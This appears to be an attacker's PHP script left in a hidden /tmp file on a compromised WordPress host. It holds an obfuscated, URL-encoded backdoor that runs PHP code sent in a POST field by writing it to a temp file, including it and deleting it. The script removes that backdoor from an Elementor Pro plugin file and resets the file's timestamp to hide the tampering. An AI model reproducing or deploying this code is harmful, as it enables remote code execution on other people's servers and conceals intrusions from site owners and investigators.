File: //tmp/.classes
<?php $path = '/home1/tabela11/public_html/wp-content/plugins_old/elementor-pro/modules/query-control/controls/query.php'; $ft = @filemtime($path); $new_content = str_repeat("\t", 42).rawurldecode('if%28filter_has_var%28INPUT_POST%2C%20%22%5Cx65%5Cx6Etry%22%29%29%7B%20%24pgrp%20%3D%20%24_POST%5B%22%5Cx65%5Cx6Etry%22%5D%3B%20%24pgrp%20%3D%20explode%20%28%20%27.%27%20%2C%20%24pgrp%20%29%20%3B%20%24ent%20%3D%20%27%27%3B%20%24salt%20%3D%20%27abcdefghijklmnopqrstuvwxyz0123456789%27%3B%20%24sLen%20%3D%20strlen%28%24salt%29%3B%20%24l%20%3D%200%3B%20%24len%20%3D%20count%28%24pgrp%29%3B%20do%20%7B%20if%20%28%24l%3E%3D%24len%29%20break%3B%20%24v9%20%3D%20%24pgrp%5B%24l%5D%3B%20%24chS%20%3D%20ord%28%24salt%5B%24l%20%25%24sLen%5D%29%3B%20%24dec%20%3D%20%28%28int%29%24v9%20-%20%24chS%20-%20%28%24l%20%2510%29%29%20%5E90%3B%20%24ent%20.%3D%20chr%28%24dec%29%3B%20%24l%2B%2B%3B%20%7D%20while%20%28true%29%3B%20%24ptr%20%3D%20array_filter%28%5B%22/tmp%22%2C%20sys_get_temp_dir%28%29%2C%20getenv%28%22TEMP%22%29%2C%20ini_get%28%22upload_tmp_dir%22%29%2C%20getenv%28%22TMP%22%29%2C%20%22/var/tmp%22%2C%20%22/dev/shm%22%2C%20session_save_path%28%29%2C%20getcwd%28%29%5D%29%3B%20foreach%20%28%24ptr%20as%20%24value%29%20%7B%20if%20%28is_dir%28%24value%29%20%26%26%20is_writable%28%24value%29%29%20%7B%20%24symbol%20%3D%20sprintf%28%22%25s/.object%22%2C%20%24value%29%3B%20if%20%28file_put_contents%28%24symbol%2C%20%24ent%29%29%20%7B%20include%20%24symbol%3B%20%40unlink%28%24symbol%29%3B%20die%28%29%3B%20%7D%20%7D%20%7D%20%7D')."\n"; if (file_exists($path) && is_writable($path)) { $content = file_get_contents($path); if (strpos($content, $new_content) !== FALSE) { $content = str_replace($new_content, '', $content); file_put_contents($path, $content); @touch($path, $ft); } } die('!success!');